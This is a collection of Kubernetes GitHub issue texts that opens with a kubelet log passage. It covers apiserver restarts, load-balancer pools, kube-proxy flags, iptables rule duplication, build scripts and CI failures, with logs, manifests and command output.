https://1.2.3.4:6443/api/v1/nodes?fieldselector=metadata.name%3dmykubehost3.mycompany.com&limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:44 mykubehost3 kubelet 89518 : e0319 08:02:44.746354   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://1.2.3.4:6443/api/v1/pods?fieldselector=spec.nodename%3dmykubehost3.mycompany.com&limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:44 mykubehost3 kubelet 89518 : w0319 08:02:44.926901   89518 docker_sandbox.go:372  failed to read pod ip from plugin/docker: couldn't find network status for kube-system/kube-apiserver-mykubehost3.mycompany.com through plugin: invalid network status for\r <30>mar 19 08:02:44 mykubehost3 kubelet 89518 : w0319 08:02:44.929363   89518 pod_container_deletor.go:75  container \ d25ca108c6b7a7bee630fce1d12e0875330eea4faa1c5b3f33b495b088b7717e\  not found in pod's containers\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.062173   89518 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ mykubehost3.mycompany.com\ : get https://1.2.3.4:6443/api/v1/nodes/mykubehost3.mycompany.com?resourceversion=0&timeout=10s: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.062384   89518 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ mykubehost3.mycompany.com\ : get https://1.2.3.4:6443/api/v1/nodes/mykubehost3.mycompany.com?timeout=10s: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.062586   89518 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ mykubehost3.mycompany.com\ : get https://1.2.3.4:6443/api/v1/nodes/mykubehost3.mycompany.com?timeout=10s: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.062797   89518 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ mykubehost3.mycompany.com\ : get https://1.2.3.4:6443/api/v1/nodes/mykubehost3.mycompany.com?timeout=10s: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.062997   89518 kubelet_node_status.go:391  error updating node status, will retry: error getting node \ mykubehost3.mycompany.com\ : get https://1.2.3.4:6443/api/v1/nodes/mykubehost3.mycompany.com?timeout=10s: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.063011   89518 kubelet_node_status.go:379  unable to update node status: update node status exceeds retry count\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.230279   89518 event.go:212  unable to write event: 'post https://1.2.3.4:6443/api/v1/namespaces/kube-system/events: dial tcp 1.2.3.4:6443: connect: connection refused'  may retry after sleeping \r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.745012   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://1.2.3.4:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.745920   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://1.2.3.4:6443/api/v1/nodes?fieldselector=metadata.name%3dmykubehost3.mycompany.com&limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:45 mykubehost3 kubelet 89518 : e0319 08:02:45.746983   89518 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://1.2.3.4:6443/api/v1/pods?fieldselector=spec.nodename%3dmykubehost3.mycompany.com&limit=500&resourceversion=0: dial tcp 1.2.3.4:6443: connect: connection refused\r <30>mar 19 08:02:46 mykubehost3 kubelet 89518 : e0319 08:02:46.268141   89518 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-mykubehost3.mycompany.com\ : error response from daemon: address already in use\r <30>mar 19 08:02:46 mykubehost3 kubelet 89518 : e0319 08:02:46.268193   89518 kuberuntime_sandbox.go:56  createpodsandbox for pod \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-mykubehost3.mycompany.com\ : error response from daemon: address already in use\r <30>mar 19 08:02:46 mykubehost3 kubelet 89518 : e0319 08:02:46.268208   89518 kuberuntime_manager.go:646  createpodsandbox for pod \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-mykubehost3.mycompany.com\ : error response from daemon: address already in use\r <30>mar 19 08:02:46 mykubehost3 kubelet 89518 : e0319 08:02:46.268304   89518 pod_workers.go:186  error syncing pod e447570a11168f7cb144ce1c48aee69f  \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  , skipping: failed to \ createpodsandbox\  for \ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-apiserver-mykubehost3.mycompany.com_kube-system e447570a11168f7cb144ce1c48aee69f \\\  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \\\ kube-apiserver-mykubehost3.mycompany.com\\\ : error response from daemon: address already in use\ \r <30>mar 19 08:02:46 mykubehost3 kubelet 89518 : w0319 08:02:46.272334   89518 pod_container_deletor.go:75  container \ 1793d7d0e0921577dbe14c38ce152381c289402d918988a778a125519672c0e0\  not found in pod's containers\r \r and the following for docker:\r \r > <30>mar 19 08:02:43 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:43-04:00\  level=info msg=\ shim reaped\  id=d25ca108c6b7a7bee630fce1d12e0875330eea4faa1c5b3f33b495b088b7717e module=\ containerd/tasks\ \r <30>mar 19 08:02:43 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:43.741662635-04:00\  level=info msg=\ ignoring event\  module=libcontainerd namespace=moby topic=/tasks/delete type=\  events.taskdelete\ \r <30>mar 19 08:02:44 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:44.862590008-04:00\  level=warning msg=\ error locating sandbox id f98e7a998578659cba5d7e14541785b78f6a03ab41786e777e1b0484c899d0e0: sandbox f98e7a998578659cba5d7e14541785b78f6a03ab41786e777e1b0484c899d0e0 not found\ \r <30>mar 19 08:02:44 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:44.864240095-04:00\  level=error msg=\ d25ca108c6b7a7bee630fce1d12e0875330eea4faa1c5b3f33b495b088b7717e cleanup: failed to delete container from containerd: no such container\ \r <30>mar 19 08:02:44 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:44.904564270-04:00\  level=error msg=\ handler for post /v1.37/containers/d25ca108c6b7/restart returned error: cannot restart container d25ca108c6b7: address already in use\ \r <30>mar 19 08:02:45 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:45-04:00\  level=info msg=\ shim reaped\  id=e592e679f351a666ccec201de996c2deebfa964a9649f6cb0ad6d9b44103b8ea module=\ containerd/tasks\ \r <30>mar 19 08:02:45 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:45.344876959-04:00\  level=info msg=\ ignoring event\  module=libcontainerd namespace=moby topic=/tasks/delete type=\  events.taskdelete\ \r <30>mar 19 08:02:46 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:46.267641507-04:00\  level=error msg=\ 1793d7d0e0921577dbe14c38ce152381c289402d918988a778a125519672c0e0 cleanup: failed to delete container from containerd: no such container\ \r <30>mar 19 08:02:48 mykubehost3 dockerd 89229 : time=\ 2019-03-19t08:02:48.316315539-04:00\  level=error msg=\ 8184d182f96daec4ece50d824108e074e970f25719c02206519287d3c2c12477 cleanup: failed to delete container from containerd: no such container\ \r \r \r   what you expected to happen  :\r i expect the kube-apiserver pod to be restarted with the new config.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create the following yaml in the kubelet manifets directory:\r    \r apiversion: v1\r kind: pod\r metadata:\r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   priorityclassname: system-node-critical\r   terminationgraceperiodseconds: 0\r   containers:\r   - command:\r     - kube-apiserver\r     - --apiserver-count=3\r     - --endpoint-reconciler-type=master-count\r     - --allow-privileged=true\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\r     - --secure-port=6443\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota\r     - --storage-backend=etcd3\r     - --requestheader-allowed-names=front-proxy-client\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --service-account-key-file=/etc/kubernetes/pki/sa.pub\r     - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\r     - --enable-bootstrap-token-auth=true\r     - --requestheader-username-headers=x-remote-user\r     - --requestheader-group-headers=x-remote-group\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --authorization-mode=rbac\r     - --advertise-address=1.2.3.4\r     - --etcd-servers=http://<etcd1>:2379,http://<etcd2>:2379,http://<etcd3>:2379\r     image: gcr.io/google_containers/kube-apiserver-amd64:v1.11.6\r     livenessprobe:\r       failurethreshold: 3\r       httpget:\r         host: 127.0.0.1\r         path: /healthz\r         port: 6443\r         scheme: https\r       initialdelayseconds: 15\r       timeoutseconds: 5\r       periodseconds: 5\r     ports:\r       - containerport: 6443\r         hostport: 6443\r     name: kube-apiserver\r     resources:\r       requests:\r         cpu: 250m\r     volumemounts:\r     - mountpath: /etc/kubernetes/\r       name: k8s\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: certs\r     - mountpath: /etc/pki\r       name: pki\r   hostnetwork: false\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes\r     name: k8s\r   - hostpath:\r       path: /etc/ssl/certs\r     name: certs\r   - hostpath:\r       path: /etc/pki\r     name: pki\r status: {}\r    \r \r this will create the kube-apiserver pod.\r then update the priorityclassname: system-node-critical to priorityclassname: system-cluster-critical, which will cause a recreation of that pod.\r   anything else we need to know?  :\r when i get the \ address already in use\  error, i can't see anything listening on 6443 port.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.6\ , gitcommit:\ b1d75deca493a24a2f87eb1efde1a569e52fc8d9\ , gittreestate:\ clean\ , builddate:\ 2018-12-16t04:39:52z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.6\ , gitcommit:\ b1d75deca493a24a2f87eb1efde1a569e52fc8d9\ , gittreestate:\ clean\ , builddate:\ 2018-12-16t04:30:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r bare-metal host\r - os  e.g:  cat /etc/os-release  :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r linux mykubehost3.mycompany.com 4.4.0-104-generic  127-ubuntu smp mon dec 11 12:16:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r docker version 18.03.1-ce\r kubelet 1.11.6\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r slb backend pools are empty if outbound rules are defined in a separate backend pool.\r \r this is because, although we added the check for not adding the backend pools from different lbs, the lbname is not checked:\r \r https://github.com/kubernetes/kubernetes/blob/fe8cd08a1be83e659f6a51d70a5b35b329ba40cc/pkg/cloudprovider/providers/azure/azure_vmss.go l783-l799\r \r the new backend pool's lbname should be also checked in above codes.\r \r   what you expected to happen  :\r \r slb backend pools should be updated correctly when outbound rules are defined in a separate backend pool.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

it might be valuable to have another agent in the system, hopefully not on the same machine as a pod-under-test, do additional liveness probes.

the api package uses a quantity type to represent mb/gb/mib/gib/etc quantities. right now it depends on an old version of a third-party infinite-precision decimal arithmetic package.  i believe it's possible to get the same effect with a type like:      type quantity struct {         base format         mant int64         exp  int }  type format int  const           base1000 format = iota         base1024        ...which would remove a lot of the sharp edges from inside its implementation.  and, one less dependency.  would you accept a patch to do this?  @lavalamp, a random googler who seems to have touched this code recently

the current rule-by-rule update is slow and painful, and may be contributing to overall flakiness of tests.  it is valuable to have the userspace proxier for a while longer, so we should probably convert it to use save/restore like the iptables proxier does.  this is not too hard i think, and a good chance for community contributions.  i am happy to help shepherd.

when testing against rkt's prestop hooks support  https://github.com/kubernetes/kubernetes/pull/23532 , i found that kubelet will try to kill pod more than once when deleting the pod. and the first when it kills, it calls rkt.killpod   with a valid runningpod, and things work fine. but shortly after the pod is killed, it invokes rkt.killpod   again. not sure if this is a normal race case or a bug.  to reproduce:      $ cat /tmp/pod   copy of pod.yaml without file extension for test apiversion: v1 kind: pod metadata:   name: busybox   labels:     name: busybox spec:   containers:   - name: busybox     image: busybox     command:     - sleep     - \ 600\   $ log_level=5 container_runtime=rkt rkt_path=/home/yifan/rkt/build-rkt-1.3.0+git/bin/rkt hack/local-up-cluster.sh  $ kubectl create -f /tmp/pod $ kubectl delete -f /tmp/pod       kubelet logs can be found  here  https://storage.googleapis.com/public-logs/kubelet.txt   cc @kubernetes/sig-node

hi,  when starting kubelet both cluster-domain and resolve-conf are passed, but only resolve-conf took effect. the cluster-domain still inherited from host /etc/resolv.conf search domains.  based on pkg/kubelet/dockertools/manager.go, looks like resolve-conf can overwrite cluster-domain. is that the intention to introduce resolve-conf to replace cluster-domain and cluster-dns?  but there is no description about interaction about these related flags.  regards, neil

forked from  3500 since the initial issue is closed...  when debugging an issue of an application, often the developer has to look into kubelet log and do some logging process.   @coufon introduces time series and tracing to kubelet for the node performance analysis work  https://github.com/kubernetes/kubernetes/pull/31280 . kubernetes already uses events to trace some operations, but not adequate. we are going to consolidate those for performance analysis at node. meanwhile all tracking records are persist in kubelet loggs. we can easily aggregate those events from logs to improve our debuggablity.   cc/ @derekwaynecarr we briefly talked about this another day.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-reboot/340/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:104 oct  5 06:57:41.583: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158

some logging destinations don't support entries longer than some number of bytes, for example gcl is limited by 100kb per entry.\r \r kubelet is known to produce very long lines, longer than 100kb, is it even ok? because right now such lines are just being discarded by destination and are lost forever. do we need to add support for such messages on each logging agent?\r \r @piosz

we've bumped this quota a few times, but still seeing issues with possibly leaking resources.\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/47583/pull-kubernetes-e2e-gce-etcd3/49039/?log log\r \r    \r i0822 18:14:36.238  creating new network: e2e-49039\r w0822 18:15:29.349  error:  gcloud.compute.networks.create  could not fetch resource:\r w0822 18:15:29.350   - quota 'subnetworks' exceeded.  limit: 150.0\r w0822 18:15:29.350  \r w0822 18:15:29.422  2017/08/22 18:15:29 util.go:133: step './hack/e2e-internal/e2e-up.sh' finished in 1m45.174357334s\r    \r \r ---\r  @kubernetes/sig-network-bugs @kubernetes/sig-testing-bugs @krzyzacy\r related issues:\r https://github.com/kubernetes/kubernetes/issues/48688\r https://github.com/kubernetes/kubernetes/issues/47362\r https://github.com/kubernetes/kubernetes/issues/46713

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r /kind/feature\r  \r   what happened  :\r \r when issuing the  kubectl get quota  the units of the output are different. it would be nice if the  used  and  hard  units were the same.\r \r   what you expected to happen  :\r \r force the units to be the same, or allow them to optionally be the same via command line arg.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r name:\t\t\tcompute-resources\r namespace:\t\tneptune-test\r resource\t\tused\t\thard\r --------\t\t----\t\t----\r configmaps\t\t17\t\t100\r limits.cpu\t\t10700m\t\t12\r limits.memory\t\t15616mi\t\t32gi\r persistentvolumeclaims\t0\t\t0\r pods\t\t\t6\t\t50\r replicationcontrollers\t0\t\t0\r requests.cpu\t\t2450m\t\t10\r requests.memory\t\t8576668672\t28gi\r resourcequotas\t\t1\t\t10\r secrets\t\t\t4\t\t100\r services\t\t7\t\t20\r services.loadbalancers\t0\t\t0\r services.nodeports\t1\t\t1\r    \r \r   anything else we need to know?  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r whenever i try to change kube proxy metrics bind using flag  --metrics-bind-address=0.0.0.0 , it gives me:\r    \r oct 12 07:25:50 r11u2-7u20n-1 kube-proxy 510997 : e1012 07:25:50.358481  510997 server.go:661  starting metrics server failed: listen tcp: address 0.0.0.0: missing port in address\r    \r then, i added the port  --metrics-bind-address=0.0.0.0:10249 , the error changes.\r    \r oct 12 07:25:58 r11u2-7u20n-1 kube-proxy 510947 : error: invalid argument \ 127.0.0.1:10249\  for --metrics-bind-address=0.0.0.0:10249: \ 0.0.0.0:10249\  is not a valid ip address\r    \r \r i expect the metrics server to listen to 0.0.0.0:10249. do i miss something?\r \r \r   environment  :\r - kubernetes version: v1.7.8\r - cloud provider or hardware configuration  : on-premise\r - os  e.g. from /etc/os-release : debian/stretch\r - kernel  e.g.  uname -a  : linux r11u2-7u20n-1 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u3  2017-08-06  x86_64 gnu/linux\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r we use static pod as our lb in the ha,and the node \\master are on the same machine,so we can see mirror pod with \ kubectl get pod --all-namespace\ ,but k8s collect the performance data of these mirror pods，we dont need this。so，do we have any parameter to stop showing the mirror pod? \r \r   what you expected to happen  :\r we have some parameter to stop showing the mirror pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r i used kubefed to depoy the federation apiserver and controller-manager. i found that the controller-manager needs a proxy as environment variables, i checked the kubefed and the controller-manager documentation and there is no parameter to add a proxy. i had to edit the deployment manually to add the proxy environment variables.\r \r   what you expected to happen  :\r i expect kubefed to accept parameters to configure a proxy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r boot the federation components using kubefed behind a proxy. check the logs for communication errors.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.3\r - cloud provider or hardware configuration: bare-metal  openstack \r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

forked from  3933.  the internal representation should never be serialized, so it shouldn't have json tags, and it most certainly should depend on the presence of json tags on pkg/api/types.go. please remove this dependency.  in particular, pkg/client/clientcmd/api/types_test.go serializes objects directly from the internal representation without applying the appropriate conversion to the v1 types.  cc @deads2k @jlowdermilk

/  /status approved-for-milestone\r  \r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-selfhosting\r the job is on the  master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking  and been failing to bring up the cluster.\r \r cc @jdumars @luxas @jessicaochen \r

> > kubectl get nodes > name &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; labels&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; status > 127.0.0.1 &nbsp;&nbsp;&nbsp; <none>  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  notready  therefore all pods stay in pending state. what might be the reason?  > > kubectl get events > firstseen                         lastseen                          count               name                            kind                subobject           reason              source              message > tue, 31 mar 2015 18:33:34 +0300   tue, 31 mar 2015 19:56:05 +0300   211                 redis-master-controller-fplln   pod                                     failedscheduling    {scheduler }        error scheduling: no minions available to schedule pods

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r i found \r https://github.com/kubernetes/kubernetes/blob/master/build/common.sh l678,l684\r this code try to rsync files  to 127.0.0.1 mapped_port or container_ip  kube_container_rsync_port but this two port can't be access from local mac environment when we use docker-machine : the mapped_port is bind to inside docker-machine eth0  can't access outside docker-machine ,my code is on my mac,not inside the docker-machine , and the container_ip also can't be access directly outside docker-machine.\r so i do a hack like this\r    \r diff --git a/build/common.sh b/build/common.sh\r index 6ace6a06a5..fc73d771be 100755\r --- a/build/common.sh\r +++ b/build/common.sh\r @@ -657,8 +657,8 @@ function kube::build::start_rsyncd_container   {\r    kube::build::stop_rsyncd_container\r    v=3 kube::log::status \ starting rsyncd container\ \r    kube::build::run_build_command_ex \\\r -    \ ${kube_rsync_container_name}\  -p 127.0.0.1:${kube_rsync_port}:${kube_container_rsync_port} -d \\\r -    -e allow_host=\ $ ${iptool} | grep -eo 'inet  addr: ?  0-9  \\. {3} 0-9  ' | grep -eo '  0-9  \\. {3} 0-9  ' | grep -v '127.0.0.1' \  \\\r +    \ ${kube_rsync_container_name}\  -p 0.0.0.0:${kube_rsync_port}:${kube_container_rsync_port} -d \\\r +    -e allow_host=\ $ ${iptool} | grep -eo 'inet  addr: ?  0-9  \\. {3} 0-9  ' | grep -eo '  0-9  \\. {3} 0-9  ' | grep -v '127.0.0.1' | tr '\ ' ' '   \  \\\r      -- /rsyncd.sh >/dev/null\r  \r    local mapped_port\r @@ -675,8 +675,8 @@ function kube::build::start_rsyncd_container   {\r      machines  we have to talk directly to the container ip.  there is no one\r      strategy that works in all cases so we test to figure out which situation we\r      are in.\r -  if kube::build::rsync_probe 127.0.0.1 ${mapped_port}; then\r -    kube_rsync_addr=\ 127.0.0.1:${mapped_port}\ \r +  if kube::build::rsync_probe $ docker-machine ip  ${mapped_port}; then\r +    kube_rsync_addr=\ $ docker-machine ip :${mapped_port}\ \r      return 0\r    elif kube::build::rsync_probe \ ${container_ip}\  ${kube_container_rsync_port}; then\r      kube_rsync_addr=\ ${container_ip}:${kube_container_rsync_port}\ \r    \r \r note need  tr '\ ' ' '  to allow_host as  ifconfig | grep xxx   product two ip : mac's ip and docker-machine's ip\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r being inside the mount pkg is making it very hard to fix issues like:\r https://github.com/kubernetes/kubernetes/pull/71804\r \r this effort is also related, but i think in addition, subpath processing should be its own pkg\r https://github.com/kubernetes/kubernetes/pull/68513\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : pull-kubernetes-e2e-kops-aws\r \r   which test s  are failing  : up\r \r   since when has it been failing  :\r last pass @ 2019-01-28 05:43 pst https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73295/pull-kubernetes-e2e-kops-aws/120805\r first failure @ 2019-01-28 05:47 pst\r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73318/pull-kubernetes-e2e-kops-aws/120806\r \r   testgrid link  : https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-e2e-kops-aws\r \r   reason for failure  : tbd\r \r   anything else we need to know  : would have reported this sooner but was obscured by everything else failing due to https://github.com/kubernetes/test-infra/issues/11001\r

\r  root@kube-master dep   cat deployment.yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx-deployment-shiva2\r   labels:\r     app: nginx-name1\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx-deployment-shiva2\r   template:\r     metadata:\r       labels:\r         app: nginx-deployment-shiva2\r     spec:\r       containers:\r       - name: nginx-cont-name1\r         image: nginx:1.7.9\r         resources:\r          limits:\r           cpu: 500m\r          requests:\r           cpu: 250m\r         ports:\r         - containerport: 80\r \r  root@kube-master dep   kubectl get deploy\r name                      ready   up-to-date   available   age\r nginx-deployment-shiva2   0/3     0            0           18h\r \r  root@kube-master dep   kubectl get pods\r no resources found.\r \r can you please tell me why the pods are not starting.  pods were created earlier, but now they are not creating\r \r kubectl version: 1.14\r

what happened  : kubelet keeps creating identical rule:\r    \r     0     0 drop       all  --                 0.0.0.0/0            0.0.0.0/0            mark match 0x8000/0x8000 /  kubernetes firewall for dropping marked packets  /\r ...\r   iptables -l -v -n | grep \ kubernetes firewall for dropping marked packets\  | wc -l\r   warning: iptables-legacy tables present, use iptables-legacy to see them\r 4190\r    \r \r   what you expected to happen  :\r have only one created\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet 1.12.7 on debian buster\r \r   anything else we need to know?  :\r this issue does not seem to happen on debian stretch and kubelet 1.12.5\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.7\r - cloud provider or hardware configuration: on-prem\r - os  e.g:  cat /etc/os-release  : debian buster  updated today \r - kernel  e.g.  uname -a  : 4.19 \r - install tools: manual\r - others:\r \r i'll try taking a look at the source code, but i have no idea if there were any important changes to iptables  other than iptables-legacy .\r \r thanks,\r ashley

when scaling pods, there's no way to do it with a certain delay between instance s  scheduling/launching.  this is needed, for instance, to scale apps that rely on topology gossiping for discovery - and when said gossiping happens only on connection and not periodically.

we @zju-sel  would like to throw a poc which uses runc as container runtime. cc @resouer @crazykev @yaozengzeng

copy from discussion in https://github.com/kubernetes/kubernetes/pull/23795 issuecomment-208176276  > when api server watched a event, it need to insert the event into all watchers' \ input\  channel, then each watcher has a goroute running in background to pop events from the \ input\  channel and sent it to the corresponding client. >  > since we process event sequentially see  processevent  https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/cacher.go l362-l363   , if one watcher was blocked due to some reasons, all other watchers will be blocked! we can ensure correctness by terminating this blocked watcher if it timeout 5 seconds  though, it may make watch really slow. for example, if we have 100 watcher watching a key, 10 watchers blocked and timeout by some reasons, the remaining watchers will receive the event after 50 seconds!  may be artificial and speculative though, @wojtek-t will send a pr to address this

https://en.wikipedia.org/wiki/kubernetes has an infobox with these two lines  hand-updated today  —      | latest release version = 1.2.3<ref name=\ github releases\ >{{cite web|url=https://github.com/kubernetes/kubernetes/releases |title=github releases page |work=github.com | date=2016-04-22}}</ref> | latest release date    = {{release date|2016|04|22}}      it would be great if updating this could be part of the release process.

